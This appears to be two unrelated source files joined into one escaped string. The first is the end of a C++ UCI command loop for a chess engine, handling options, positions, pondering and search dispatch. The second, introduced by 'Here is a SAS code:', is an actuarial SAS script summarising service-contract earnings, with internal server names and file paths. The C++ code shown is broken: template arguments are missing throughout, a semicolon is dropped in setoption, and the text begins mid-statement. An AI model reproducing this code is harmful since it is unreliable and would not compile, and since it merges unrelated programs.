search::Algorithm::MTDF;\n else if (value == "negascout") \\_algo = search::Algorithm::NEGASCOUT;\n else if (value == "negamax") \\_algo = search::Algorithm::NEGAMAX;\n }\n };\n\n struct OptionBool : public OptionBase\n {\n bool &\\_b;\n\n OptionBool(const std::string &name, bool &b) : OptionBase(name), \\_b(b)\n {\n }\n\n void print(std::ostream &out) const override\n {\n OptionBase::print(out);\n out << "type check default " << std::boolalpha << \\_b;\n }\n\n void set(std::string\\_view value) override\n {\n if (value == "true")\n \\_b = true;\n else if (value == "false")\n \\_b = false;\n }\n };\n\n struct OptionParam : public OptionBase\n {\n const Param \\_p;\n\n OptionParam(const std::string &name, const Param ¶m) : OptionBase(name), \\_p(param) {}\n\n void print(std::ostream &out) const override\n {\n OptionBase::print(out);\n if (\\_p.min\\_val == 0 && \\_p.max\\_val == 1)\n out << "type check default " << std::boolalpha << bool(\\_p.val);\n else\n out << "type spin default " << \\_p.val << " min " << \\_p.min\\_val << " max " << \\_p.max\\_val;\n }\n\n void set(std::string\\_view value) override { \\_set\\_param(\\_name, to\\_int(value), true); }\n };\n\n struct OptionEvalFile : public OptionBase\n {\n std::string &\\_eval\\_file;\n explicit OptionEvalFile(std::string& eval\\_file) : OptionBase("EvalFile"), \\_eval\\_file(eval\\_file) {}\n\n void print(std::ostream& out) const override\n {\n OptionBase::print(out);\n out << "type string default " << \\_eval\\_file;\n }\n\n void set(std::string\\_view value) override\n {\n if (nnue\\_init(std::string(value).c\\_str()))\n \\_eval\\_file = value;\n else\n raise\\_value\\_error("invalid NNUE file: {}", value); /\\* refuse to run without valid NNUE \\*/\n }\n };\n\n struct OptionSyzygy : public OptionBase\n {\n OptionSyzygy() : OptionBase("SyzygyPath") {}\n\n void print(std::ostream& out) const override\n {\n OptionBase::print(out);\n out << "type string";\n const auto &path = search::Context::syzygy\\_path();\n if (!path.empty())\n out << " default " << path;\n }\n\n void set(std::string\\_view value) override\n {\n search::Context::set\\_syzygy\\_path(std::string(value));\n }\n };\n}\n\nusing ThreadPool = thread\\_pool;\n\nclass UCI\n{\n using Arguments = std::vector;\n using EngineOptions = std::map>;\n\n static constexpr int max\\_depth = PLY\\_MAX;\n\npublic:\n UCI(const std::string &name, const std::string &version)\n : \\_name(name)\n , \\_version(version)\n , \\_use\\_opening\\_book(search::Context::\\_book\\_init(\\_book))\n {\n set\\_start\\_position();\n\n search::Context::\\_on\\_iter = on\\_iteration;\n\n \\_options.emplace("algorithm", std::make\\_shared(\\_algorithm));\n \\_options.emplace("best opening", std::make\\_shared("Best Opening", \\_best\\_book\\_move));\n \\_options.emplace("debug", std::make\\_shared("Debug", \\_debug));\n \\_options.emplace("ownbook", std::make\\_shared("OwnBook", \\_use\\_opening\\_book));\n \\_options.emplace("ponder", std::make\\_shared("Ponder", \\_ponder));\n \\_options.emplace("evalfile", std::make\\_shared(\\_eval\\_file));\n \\_options.emplace("syzygypath", std::make\\_shared());\n }\n\n static bool output\\_expected() { return \\_output\\_expected.load(std::memory\\_order\\_relaxed); }\n void run();\n\nprivate:\n void dispatch(const std::string &, const Arguments &args);\n\n /\\*\\* UCI commands \\*/\n void go(const Arguments &args);\n void isready();\n void ponderhit();\n void position(const Arguments &args);\n void setoption(const Arguments &args);\n void stop();\n void uci();\n void newgame();\n\n /\\*\\* Context callbacks \\*/\n static void on\\_iteration(PyObject \\*, search::Context \\*, const search::IterationInfo \\*);\n\nprivate:\n /\\*\\* position() helper \\*/\n template INLINE void apply\\_moves(const T &moves)\n {\n \\_last\\_move = chess::BaseMove();\n \\_ply\\_count = 0;\n\n for (const auto &m : moves)\n if (m.size() >= 4)\n {\n chess::Square from, to;\n\n if (chess::parse\\_square(m, from) && chess::parse\\_square(std::string\\_view(&m[2], 2), to))\n {\n const auto promo = m.size() > 4 ? chess::piece\\_type(m[4]) : chess::PieceType::NONE;\n const auto move = chess::BaseMove(from, to, promo);\n const auto prev = \\_buf.\\_state;\n \\_buf.\\_state.apply\\_move(move);\n chess::zobrist\\_update(prev, move, \\_buf.\\_state);\n ASSERT(\\_buf.\\_state.\\_hash == chess::zobrist\\_hash(\\_buf.\\_state));\n /\\* keep track of played moves, to detect repetitions \\*/\n search::Context::\\_history->emplace(\\_buf.\\_state);\n /\\* update the halfmove clock \\*/\n if (\\_buf.\\_state.capture\\_value || prev.piece\\_type\\_at(from) == chess::PieceType::PAWN)\n search::Context::\\_history->\\_fifty = 0;\n else\n ++search::Context::\\_history->\\_fifty;\n \\_last\\_move = move;\n ++\\_ply\\_count;\n }\n }\n }\n\n INLINE search::Context &context() { return \\*\\_buf.as\\_context(); }\n\n template \n INLINE void output\\_best\\_move(bool request\\_ponder = false)\n {\n if (output\\_expected())\n {\n auto &ctxt = context();\n auto move = ctxt.\\_best\\_move;\n if (!move)\n if (auto first = ctxt.first\\_valid\\_move())\n move = \\*first;\n if constexpr(synchronous)\n output\\_best\\_move(move, request\\_ponder);\n else\n \\_output\\_pool->push\\_task([this, move, request\\_ponder] {\n output\\_best\\_move(move, request\\_ponder);\n });\n }\n }\n\n INLINE void output\\_best\\_move(const chess::BaseMove &move, bool request\\_ponder = false)\n {\n ASSERT(output\\_expected());\n \\_output\\_expected = false;\n\n if (!move)\n {\n output("resign");\n }\n else\n {\n if (request\\_ponder && \\_ponder)\n {\n const auto &pv = \\_tt.get\\_pv();\n if (pv.size() > 2 && pv[1] == move)\n {\n output(std::format("bestmove {} ponder {}", move.uci(), pv[2].uci()));\n return;\n }\n }\n output(std::format("bestmove {}", move.uci()));\n }\n }\n\n template \n INLINE void invoke(const std::string &cmd, F f, const Arguments &args)\n {\n if constexpr (arity{} == 0)\n {\n if (args.size() > 1)\n log\\_warning(std::format("extraneous arguments: {}", cmd));\n (this->\\*f)();\n }\n else\n {\n (this->\\*f)(args);\n }\n }\n\n INLINE void set\\_start\\_position()\n {\n \\_buf.\\_state = chess::State();\n \\_buf.\\_state.castling\\_rights = chess::BB\\_DEFAULT\\_CASTLING\\_RIGHTS;\n chess::epd::parse\\_pos(START\\_POS, \\_buf.\\_state);\n \\_buf.\\_state.rehash();\n \\_book\\_depth = max\\_depth;\n }\n\n /\\*\\* think on opponent\'s time \\*/\n void ponder();\n\n /\\*\\* iterative deepening search \\*/\n score\\_t search();\n\n search::Algorithm \\_algorithm = search::Algorithm::MTDF;\n search::ContextBuffer \\_buf;\n search::TranspositionTable \\_tt;\n std::string \\_book = "book.bin";\n std::string \\_eval\\_file = NNUE\\_EVAL\\_FILE;\n std::atomic\\_int \\_extended\\_time = 0; /\\* for pondering \\*/\n int \\_book\\_depth = max\\_depth;\n int \\_depth = max\\_depth;\n int \\_ply\\_count = 0;\n score\\_t \\_score = 0;\n EngineOptions \\_options;\n const std::string \\_name;\n const std::string \\_version; /\\* engine version \\*/\n static std::unique\\_ptr \\_compute\\_pool;\n static std::unique\\_ptr \\_output\\_pool;\n static std::atomic\\_bool \\_output\\_expected;\n bool \\_ponder = false;\n bool \\_use\\_opening\\_book = false;\n bool \\_best\\_book\\_move = false;\n chess::BaseMove \\_last\\_move;\n};\n\nstd::unique\\_ptr UCI::\\_output\\_pool(std::make\\_unique(1));\nstd::unique\\_ptr UCI::\\_compute\\_pool(std::make\\_unique(1));\n\nstd::atomic\\_bool UCI::\\_output\\_expected(false);\n\n/\\*\\* Estimate number of moves (not plies!) until mate. \\*/\nstatic INLINE int mate\\_distance(score\\_t score, const search::PV &pv)\n{\n return std::copysign((std::max(CHECKMATE - std::abs(score), pv.size()) + 1) / 2, score);\n}\n\n/\\*\\* Info sent to the GUI. \\*/\nstruct Info : public search::IterationInfo\n{\n const int eval\\_depth;\n const int hashfull;\n const int iteration;\n search::PV\\* const pv;\n static std::array pvs;\n\n Info(const search::Context& ctxt, const IterationInfo& info)\n : IterationInfo(info)\n , eval\\_depth(ctxt.get\\_tt()->\\_eval\\_depth)\n , hashfull(search::TranspositionTable::usage() \\* 10)\n , iteration(ctxt.iteration())\n , pv(&pvs[std::min(pvs.size() - 1, iteration)])\n {\n pv->assign(ctxt.get\\_pv().begin() + 1, ctxt.get\\_pv().end());\n }\n};\n\n/\\* Hold PVs for pending output tasks \\*/\nstd::array Info::pvs;\n\nstatic void INLINE output\\_info(std::ostream& out, const Info& info)\n{\n constexpr auto MATE\\_DIST\\_MAX = 10;\n constexpr auto TIME\\_LOW = 25; /\\* millisec \\*/\n\n const auto ms = info.milliseconds;\n const auto time\\_limit = search::Context::time\\_limit();\n\n if (time\\_limit > 0 && time\\_limit <= ms + TIME\\_LOW)\n {\n output(out, "info depth ", info.iteration, " score cp ", info.score);\n }\n else\n {\n output(out, "info depth ", info.iteration, " seldepth ", info.eval\\_depth);\n if (std::abs(info.score) > CHECKMATE - MATE\\_DIST\\_MAX)\n output(out, " score mate ", mate\\_distance(info.score, \\*info.pv));\n else\n output(out, " score cp ", info.score);\n\n output(out,\n " time ", ms,\n " nodes ", info.nodes,\n " nps ", int(info.knps \\* 1000),\n " hashfull ", info.hashfull);\n out << " pv ";\n for (const auto &m : \\*info.pv)\n out << m << " ";\n }\n}\n\nstatic void INLINE output\\_info(const Info& info)\n{\n output\\_info(std::cout, info);\n std::cout << std::endl;\n\n if (\\_debug)\n {\n std::ostringstream out;\n output\\_info(out << "<<< ", info);\n log\\_debug(out.str());\n }\n}\n\n/\\* static \\*/\nINLINE void UCI::on\\_iteration(PyObject \\*, search::Context \\*ctxt, const search::IterationInfo \\*iter\\_info)\n{\n if (ctxt && iter\\_info)\n {\n const Info info(\\*ctxt, \\*iter\\_info);\n \\_output\\_pool->push\\_task([info] {\n output\\_info(info);\n });\n }\n}\n\nvoid UCI::run()\n{\n std::string cmd;\n while (true)\n {\n std::getline(std::cin, cmd);\n if (std::cin.fail() || std::cin.eof())\n {\n stop();\n break;\n }\n const auto nl = cmd.find\\_last\\_not\\_of("\\n\\r");\n if (nl != std::string::npos)\n cmd.erase(nl + 1);\n if (cmd.empty())\n continue;\n LOG\\_DEBUG(std::format(">>> {}", cmd));\n if (cmd == "quit")\n {\n \\_output\\_expected = false;\n stop();\n output("info string good bye");\n break;\n }\n\n Arguments args;\n /\\* tokenize command \\*/\n std::ranges::for\\_each(\n std::views::lazy\\_split(cmd, std::string\\_view(" ")),\n [&](auto const &tok)\n {\n if (!tok.empty())\n args.emplace\\_back(std::string\\_view(&\\*tok.begin(), std::ranges::distance(tok)));\n });\n\n if (!args.empty())\n dispatch(cmd, args);\n }\n}\n\nINLINE void UCI::dispatch(const std::string &cmd, const Arguments &args)\n{\n ASSERT(!args.empty());\n const auto iter = commands.find(args.front());\n if (iter == commands.end())\n {\n log\\_error("unknown command: " + cmd);\n }\n else\n {\n switch (iter->second)\n {\n case Command::GO:\n invoke(cmd, &UCI::go, args);\n break;\n case Command::ISREADY:\n invoke(cmd, &UCI::isready, args);\n break;\n case Command::PONDERHIT:\n invoke(cmd, &UCI::ponderhit, args);\n break;\n case Command::POSITION:\n invoke(cmd, &UCI::position, args);\n break;\n case Command::SETOPTION:\n invoke(cmd, &UCI::setoption, args);\n break;\n case Command::STOP:\n invoke(cmd, &UCI::stop, args);\n break;\n case Command::UCI:\n invoke(cmd, &UCI::uci, args);\n break;\n case Command::UCINEWGAME:\n invoke(cmd, &UCI::newgame, args);\n break;\n default:\n break;\n }\n }\n}\n\ntemplate \nINLINE const auto &next(const T &v, size\\_t &i)\n{\n static typename T::value\\_type empty;\n return ++i < v.size() ? v[i] : empty;\n}\n\nvoid UCI::go(const Arguments &args)\n{\n stop();\n\n bool explicit\\_movetime = false, do\\_analysis = false, do\\_ponder = false;\n int movestogo = 40, movetime = 0;\n int time\\_remaining[] = {0, 0};\n auto turn = \\_buf.\\_state.turn;\n\n \\_depth = max\\_depth;\n\n for (size\\_t i = 1; i < args.size(); ++i)\n {\n const auto &a = args[i];\n if (a == "depth")\n {\n \\_depth = to\\_int(next(args, i));\n do\\_analysis = true;\n }\n else if (a == "movetime")\n {\n movetime = to\\_int(next(args, i));\n explicit\\_movetime = true;\n }\n else if (a == "movestogo")\n {\n movestogo = to\\_int(next(args, i));\n }\n else if (a == "wtime")\n {\n time\\_remaining[chess::WHITE] = to\\_int(next(args, i));\n }\n else if (a == "btime")\n {\n time\\_remaining[chess::BLACK] = to\\_int(next(args, i));\n }\n else if (a == "ponder")\n {\n do\\_ponder = true;\n }\n else if (a == "infinite")\n {\n movetime = -1;\n do\\_analysis = true;\n }\n }\n /\\* initialize search context \\*/\n auto ctxt = new (\\_buf.as\\_context()) search::Context();\n ctxt->\\_state = &\\_buf.\\_state;\n\n if (!movetime)\n movetime = time\\_remaining[turn] / std::max(movestogo, 40);\n LOG\\_DEBUG(std::format("movetime {}, movestogo {}", movetime, movestogo));\n\n \\_extended\\_time = 0;\n \\_output\\_expected = true;\n\n if (do\\_ponder)\n {\n \\_extended\\_time = std::max(1, movetime);\n ctxt->set\\_time\\_limit\\_ms(INFINITE);\n \\_compute\\_pool->push\\_task([this]{ ponder(); });\n }\n else if (do\\_analysis && !explicit\\_movetime)\n {\n ctxt->set\\_time\\_limit\\_ms(INFINITE);\n \\_compute\\_pool->push\\_task([this]{ search(); output\\_best\\_move(); });\n }\n else\n {\n if (\\_use\\_opening\\_book && \\_ply\\_count < \\_book\\_depth && !do\\_analysis)\n {\n LOG\\_DEBUG(std::format("lookup book\\_depth={}, ply\\_count={}", \\_book\\_depth, \\_ply\\_count));\n if (auto move = search::Context::\\_book\\_lookup(\\_buf.\\_state, \\_best\\_book\\_move))\n {\n output\\_best\\_move(move);\n return;\n }\n else\n \\_book\\_depth = \\_ply\\_count;\n }\n ctxt->set\\_time\\_limit\\_ms(movetime);\n if (!explicit\\_movetime)\n ctxt->set\\_time\\_info(time\\_remaining[turn], movestogo, \\_score);\n\n \\_compute\\_pool->push\\_task([this, movetime] {\n \\_score = search();\n /\\* Do not request to ponder below 100 ms per move. \\*/\n output\\_best\\_move(movetime >= 100);\n });\n }\n}\n\n/\\*\\*\n \\* This command must always be answered with "readyok" and can be sent also\n \\* when the engine is calculating in which case the engine should also immediately\n \\* answer with "readyok" without stopping the search.\n \\*/\nINLINE void UCI::isready()\n{\n output("readyok");\n}\n\nvoid UCI::newgame()\n{\n stop();\n search::TranspositionTable::clear\\_shared\\_hashtable();\n set\\_start\\_position();\n}\n\n/\\*\\*\n \\* Runs on a background thread with infinite time, and expects that:\n \\* either STOP is received; or\n \\* PONDERHIT is received, which extends the search by \\_extended\\_time,\n \\* then sets \\_extended\\_time to 0, to indicate to this function to send out\n \\* the best move when the search finishes.\n \\*\n \\* Pondering may finish before PONDERHIT is received, in which case\n \\* it resets \\_extended\\_time and does not output a move;\n \\*\n \\* the ponderhit handler will send out the best move instead, when PONDERHIT\n \\* is received (thus avoiding "premature bestmove in ponder" errors).\n \\*/\nvoid UCI::ponder()\n{\n LOG\\_DEBUG(std::format("pondering, extended\\_time={}", \\_extended\\_time.load()));\n search();\n if (\\_extended\\_time)\n \\_extended\\_time = 0;\n else\n output\\_best\\_move();\n}\n\nvoid UCI::ponderhit()\n{\n if (int ext = \\_extended\\_time)\n {\n \\_extended\\_time = 0;\n context().set\\_time\\_limit\\_ms(ext);\n }\n else\n {\n stop();\n }\n}\n\nvoid UCI::position(const Arguments &args)\n{\n stop();\n\n bool in\\_moves = false;\n Arguments fen, moves;\n\n for (const auto &a : std::ranges::subrange(args.begin() + 1, args.end()))\n {\n if (a == "fen")\n {\n in\\_moves = false;\n }\n else if (a == "moves")\n {\n in\\_moves = true;\n if (search::Context::\\_history)\n search::Context::\\_history->clear();\n else\n search::Context::\\_history = std::make\\_unique();\n }\n else if (a == "startpos")\n {\n set\\_start\\_position();\n in\\_moves = false;\n }\n else if (in\\_moves)\n {\n moves.emplace\\_back(a);\n }\n else\n {\n fen.emplace\\_back(a);\n }\n }\n if (fen.size() >= 4)\n {\n \\_buf.\\_state = chess::State();\n if ( !chess::epd::parse\\_pos(fen[0], \\_buf.\\_state)\n || !chess::epd::parse\\_side\\_to\\_move(fen[1], \\_buf.\\_state)\n || !chess::epd::parse\\_castling(fen[2], \\_buf.\\_state)\n || !chess::epd::parse\\_en\\_passant\\_target(fen[3], \\_buf.\\_state)\n )\n raise\\_value\\_error("fen={} {} {} {}", fen[0], fen[1], fen[2], fen[3]);\n }\n else if (!fen.empty())\n {\n raise\\_value\\_error("invalid token count {}, expected 4", fen.size());\n }\n apply\\_moves(moves);\n LOG\\_DEBUG(search::Context::epd(\\_buf.\\_state));\n}\n\nINLINE score\\_t UCI::search()\n{\n if (!search::Context::\\_history)\n search::Context::\\_history = std::make\\_unique();\n\n \\_tt.init();\n\n auto& ctxt = context();\n ctxt.set\\_tt(&\\_tt);\n\n ctxt.\\_algorithm = \\_algorithm;\n ctxt.\\_max\\_depth = 1;\n ctxt.\\_move = \\_last\\_move;\n\n return search::iterative(ctxt, \\_tt, \\_depth + 1);\n}\n\nvoid UCI::setoption(const Arguments &args)\n{\n Arguments name, value, \\*acc = nullptr;\n\n for (const auto &a : std::ranges::subrange(args.begin() + 1, args.end()))\n {\n if (a == "name")\n acc = &name\n else if (a == "value")\n acc = &value\n else if (acc)\n acc->emplace\\_back(a);\n }\n\n auto opt\\_name = join(" ", name);\n auto iter = \\_options.find(lowercase(opt\\_name));\n if (iter != \\_options.end())\n iter->second->set(join(" ", value));\n else\n log\\_warning(\\_\\_func\\_\\_ + (": \\"" + opt\\_name + "\\": not found"));\n}\n\nvoid UCI::stop()\n{\n search::Context::set\\_time\\_limit\\_ms(0);\n \\_compute\\_pool->wait\\_for\\_tasks([] { search::Context::cancel(); });\n \\_output\\_pool->wait\\_for\\_tasks();\n output\\_best\\_move();\n}\n\nvoid UCI::uci()\n{\n std::ios\\_base::sync\\_with\\_stdio(false);\n output(std::format("id name {}-{}", \\_name, \\_version));\n output("id author Cristi Vlasceanu");\n\n /\\* refresh options \\*/\n for (auto p : \\_get\\_param\\_info())\n {\n auto name = p.first;\n /\\* option names are case insensitive, and can contain \\_single\\_ spaces \\*/\n \\_options[lowercase(name)] = std::make\\_shared(p.first, p.second);\n }\n /\\* show available options \\*/\n for (const auto &opt : \\_options)\n {\n std::ostringstream opts;\n opt.second->print(opts << "option name ");\n output(opts.str());\n }\n output("uciok");\n}\n\nextern "C" void run\\_uci\\_loop(const char \\*name, const char \\*version, bool debug)\n{\n \\_debug = debug;\n std::string err;\n try\n {\n UCI uci(name, version);\n uci.run();\n }\n catch (const std::exception &e)\n {\n err = e.what();\n }\n catch (...)\n {\n err = "unknown exception";\n }\n if (!err.empty())\n raise\\_runtime\\_error(err.c\\_str());\n}\n#else\nextern "C" void run\\_uci\\_loop(const char \\*, const char \\*, bool)\n{\n raise\\_runtime\\_error("Native UCI implementation is not enabled.");\n}\n#endif /\\* NATIVE\\_UCI \\*/' +'Here is a SAS code:\n/\\*%include \'/u98/sas/actuarial/US\\_ESC/Macros/AS400\\_SetExpVars.sas\';\\*/\nlibname JHTemp \'/u98/sas/actuarial/RMT\\_JH/Temp\';\nlibname Montage \'/u98/sas/actuarial/RMT\\_JH/Montage\';\nLibname US\\_ESC \'/u98/sas/actuarial/US\\_ESC\';\nLibname ESCTemp \'/u98/sas/actuarial/US\\_ESC/Temp\';\nLibname Account \'/u98/sas/actuarial/US\\_ESC/Client\\_Output\';\nLibname ImpLoc \'/u98/sas/actuarial/US\\_ESC/Import\';\n\nlibname DW\\_ACTU\n sqlsvr \n datasrc="AIZP1-DW\\_ACTUARY\\_USER" \n authdomain="AIZP1-DW\\_ACTUARY\\_USER" \n schema="MONTAGE" \n insertbuff=5000 readbuff=5000 READ\\_LOCK\\_TYPE=NOLOCK;\n\n%Let LbNm = Montage;\n%Let Who = Montage;\n%Let LbNmTmp = JHTemp;\n%Let LbNmCli = Account;\n%Let Client = mn;\n%Let PerNum = 202206;\n\n%Let ValDate = \'30Jun2022\'d;\n%Let InTbl = &LbNm..&Client.\\_MstrSmm\\_&PerNum.\\_PowerPivot2;\n\n/\\*from Montage.mn\\_cnt\\_clm\\_8\\_&pernum.\\*/\n/\\*where InvalidFlag=0 or (InvalidFlag=1 and PrePost2="Post 3")\\*/\n\nGOPTIONS ACCESSIBLE;\noptions obs = max;\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\* START HERE \\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*;\n\n%Let NumHPP = 144; \\*\\* # of Historical Policy Periods;\n%Let NumFPP = 0; \\*\\* # of Future Policy Periods;\n\n%Let NumHVP = 144; \\*\\* # of Historical Valuation Periods;\n%Let NumFVP = 0; \\*\\* # of Future Valuation Periods;\n\n%Let PeriodFrequency = MONTHS; \\*Enter MONTHS or QUARTERS for either monthly or quarterly data;\n\n%Let PolPfx = Pol;\n%Let ValPfx = Val;\n\n%Let ValMo = %sysfunc(Month(&ValDate.));\n%Let ValDy = %sysfunc(Day(&ValDate.));\n%Let ValYr = %sysfunc(Year(&ValDate.));\n\n\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\nVINTAGE SUMMARY \nuse the following ClsVars\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*;\n\n%Let ClsVars = General\\_SKU SKU\\_Family SKU\\_Family\\_2 Plan\\_Term Eff\\_Yr;\n%Let TableName = TWG\\_VINTAGE\\_SUMMARY\\_DATA;\n\n%Let WhereVar = (Eff\\_Yr >= 2010 and InvalidFlag=0);\n\n%Let EarningVars = Earning\\_Group\\_Code BeginDt Accident\\_Date PaidDt CancelDt EndDt Term Mapped\\_Term Plan\\_Term;\n%Let ClmVars = parts\\_cost labor\\_cost trip\\_cost other\\_cost;\n\n%Let SmmVars =CntGrs CntNet ResGrs ResNet ResErnd ;\n%Let cSmmVars = CalcCntErnd CalcResErnd;\n\ndata &LbNmTmp..&Client.\\_EarnCurve\\_&PerNum.\\_2 ;\n %let \\_EFIERR\\_ = 0; /\\* set the ERROR detection macro variable \\*/\n infile \'/u98/sas/actuarial/RMT\\_JH/Montage/Montage Earnings 202206 Vintage.csv\' delimiter = \',\' MISSOVER DSD lrecl=32767 firstobs=2 ;\n\n informat Term best32. ;\n informat Month best32. ;\n informat Earning\\_Group\\_Code $22.;\n informat Factor\\_Percent best32.;\n informat Last\\_Col\\_Fix $3.;\n format Term best32. ;\n format Month best12. ;\n format Earning\\_Group\\_Code $22.;\n format Factor\\_Percent best32.;\n format Last\\_Col\\_Fix $3.;\n input\n Term\n Month\n Earning\\_Group\\_Code $\n Factor\\_Percent\\_adj\n Last\\_Col\\_Fix $;\n if \\_ERROR\\_ then call symputx(\'\\_EFIERR\\_\',1); /\\* set ERROR detection macro variable \\*/\n\n Factor\\_Percent=1-Factor\\_Percent\\_adj;\n drop Factor\\_Percent\\_adj;\nrun; \n\ndata &LbNm..&Client.\\_XCnts\\_XClms\\_&PerNum.\\_ClmType;\n set &LbNm..&Client.\\_cnt\\_clm\\_8\\_&PerNum.;\n where &WhereVar.;\n\n parts\\_cost=Parts\\_Amount\\_Paid;\n labor\\_cost=Labor\\_Amount\\_Paid;\n trip\\_cost=Trip\\_Amount\\_Paid;\n other\\_cost=Other\\_Amount\\_Paid;\n\n Client\\_Lag=2;\n\n RepairReplace = \'Replace\';\n\n Plan\\_Term=Months;\n Term=Months;\n Mapped\\_Term=Months;\n\n format Earning\\_Group\\_Code $char22.;\n\n if PrePost="Pre" and Evaluation\\_Status^="C" then Earning\\_Group\\_Code="Earned\\_Factor\\_Pre";\n if (PrePost="Post" and Evaluation\\_Status^="C" and Effective\\_Date < \'01Nov2019\'d) then Earning\\_Group\\_Code="Earned\\_Factor\\_Post\\_1\\_2";\n if (PrePost="Post" and Evaluation\\_Status^="C" and Effective\\_Date ge \'01Nov2019\'d) then Earning\\_Group\\_Code="Earned\\_Factor\\_Post\\_3";\n\n Format PaidDt MMDDYY10.;\n Format CancelDt MMDDYY10.;\n Format EndDt MMDDYY10.;\n Format BeginDt MMDDYY10.;\n PaidDt=Paid\\_Date;\n PaidMo=Paid\\_Mo;\n PaidYr=Paid\\_Yr;\n CancelDt=Cancel\\_Date;\n BeginDt=Effective\\_Date;\n Dealer=Dealer\\_Group\\_Number;\n EndDt=Expiry\\_Date;\n CntGrs=Gross\\_Pol\\_Ct;\n CntNet=Pol\\_Ct;\n CntErnd=Epol\\_Ct;\n /\\*DealerNet is gross of cancels, NetDealer is net of em\\*/\n DealerNet=WRTPRM;\n NetDealer=WRTPRM-WRTPRM\\_Cancel;\n DealerErnd=CRL\\_Eprem;\n ResNet=CRL\\_LF;\n if NetDealer=0 then ResGrs=0; else ResGrs=ResNet\\*(DealerNet/NetDealer);\n ResErnd=CRL\\_ELF;\n ClmPaidAmt=Claim\\_Amt+IBNR+Rejects;\n if ClmPaidAmt=0 then ClmPaidNum=0;\n else ClmPaidNum=Paid\\_Pend\\_Cnt\\*(ClmPaidAmt/Claim\\_Amt);\n\n run;\n\nProc Summary Data=&LbNm..&Client.\\_XCnts\\_XClms\\_&PerNum.\\_ClmType Missing Nonobs Nway;\n where &WhereVar.;\n Class Dealer Client\\_Lag\n Plan\\_Term Term Mapped\\_Term Earning\\_Group\\_Code \n General\\_SKU SKU\\_Family SKU\\_Family\\_2\n RepairReplace\n Eff\\_Yr Eff\\_Mo\n BeginDt PaidYr PaidMo PaidDt Accident\\_Date\n CancelDt EndDt Dealer\\_State\n PrePost PrePost2 Evaluation\\_Status\n InvalidFlag;\n Var CntGrs CntNet CntErnd\n\n DealerNet NetDealer DealerErnd\n ResGrs ResNet ResErnd\n ClmPaidNum ClmPaidAmt\n parts\\_cost labor\\_cost trip\\_cost other\\_cost;\nOutput Out=&LbNm..&Client.\\_MstrSmm\\_&PerNum.\\_PowerPivot2 (Drop = \\_TYPE\\_ \\_FREQ\\_) sum=;\nRun;\n\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\* END HERE \\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*;\n\n%macro ends\\_of\\_periods (StartMo, StartDay, StartYr, Period, DtPfx, M, N);\n %local date0 date i;\n %let date0 = %sysfunc(mdy(&StartMo.,&StartDay.,&StartYr.));\n %do i = &M. %to &N.;\n %let date = %sysfunc(intnx(&Period.,&date0.,%eval(&i. - &M.),end));\n %global &DtPfx.&i.;\n %let &DtPfx.&i. = &date.;\n %put &DtPfx.&i. = %sysfunc(putn(&date., MMDDYY10.));\n %end;\n%mend ends\\_of\\_periods;\n\n%macro Set\\_Up\\_Periods (StartMo, StartDay, StartYr, Period, PrdFctr, DtPfx, M, N);\n\\*\\*\\* M periods of history and N periods of projection from start date;\n %local date0 date i;\n %let date0 = %sysfunc(mdy(&StartMo.,&StartDay.,&StartYr.));\n %do i = 1 %to &M. + &N.;\n %let date = %sysfunc(intnx(&Period.,&date0.,%eval((&i. - &M.)\\* &PrdFctr.) ,end));\n %global &DtPfx.&i.;\n %let &DtPfx.&i. = &date.;\n %put &DtPfx.&i. = %sysfunc(putn(&date., MMDDYY10.));\n %end;\n%mend Set\\_Up\\_Periods;\n%macro Slot\\_Dates(InDt, OutFld, DtPfx, NN);\n Select;\n WHEN (Missing(&InDt.)=1) &OutFld. = .;\n %do j = 1 %to %eval(&NN.-1);\n When (&InDt. <= &&&DtPfx&j.) &OutFld. = &&&DtPfx&j.;\n %end;\n Otherwise &OutFld. = &&&DtPfx&NN.;\n End;\n%mend;\n%macro Write\\_Fields(Prefix, DtPfx, M, N);\n %do i = &M. %to &N.;\n &Prefix.%sysfunc(Putn(%sysfunc(year(&&&DtPfx.&I.)),Z4.))%sysfunc(Putn(%sysfunc(month(&&&DtPfx.&I.)),Z2.))%sysfunc(Putn(%sysfunc(day(&&&DtPfx.&I.)),Z2.))\n %end;\n%mend Write\\_Fields;\n\n\\*Set up dates for Policy Periods;\n%Set\\_Up\\_Periods(&ValMo., &ValDy., &ValYr., &PeriodFrequency., 1, &PolPfx., &NumHPP., &NumFPP.);\n\n\\* Set up dates for Valuation Periods;\n%Set\\_Up\\_Periods(&ValMo., &ValDy., &ValYr., &PeriodFrequency., 1, &ValPfx., &NumHVP., &NumFVP.);\n\n\nGOPTIONS NOACCESSIBLE;\n%LET \\_CLIENTTASKLABEL=;\n%LET \\_CLIENTPROJECTPATH=;\n%LET \\_CLIENTPROJECTNAME=;\n%LET \\_SASPROGRAMFILE=;\n/\\* START OF NODE: H Cnts \\*/\n%LET \\_CLIENTTASKLABEL=\'H Cnts\';\n%LET \\_CLIENTPROJECTPATH=\'\\\\cead.prd\\data\\GROUPS\\ATL0\\\\_Actuarial\\VSC\\_Actuarial\\\\_Master SAS Project\\MASTER EW VSC 2016-08-11\\_addedDimension.egp\';\n%LET \\_CLIENTPROJECTNAME=\'MASTER EW VSC 2016-08-11\\_addedDimension.egp\';\n%LET \\_SASPROGRAMFILE=;\n\nGOPTIONS ACCESSIBLE;\nOptions fmtsearch=(WORK) ;\n\nPROC DATASETS Library= WORK Nolist Nodetails; Delete &Who.\\_EARNINGS\\_SUMMARY; RUN; QUIT;\n\nPROC SUMMARY DATA= &InTbl. Missing Nonobs Nway;\n Where &WhereVar.;\n Class &ClsVars. 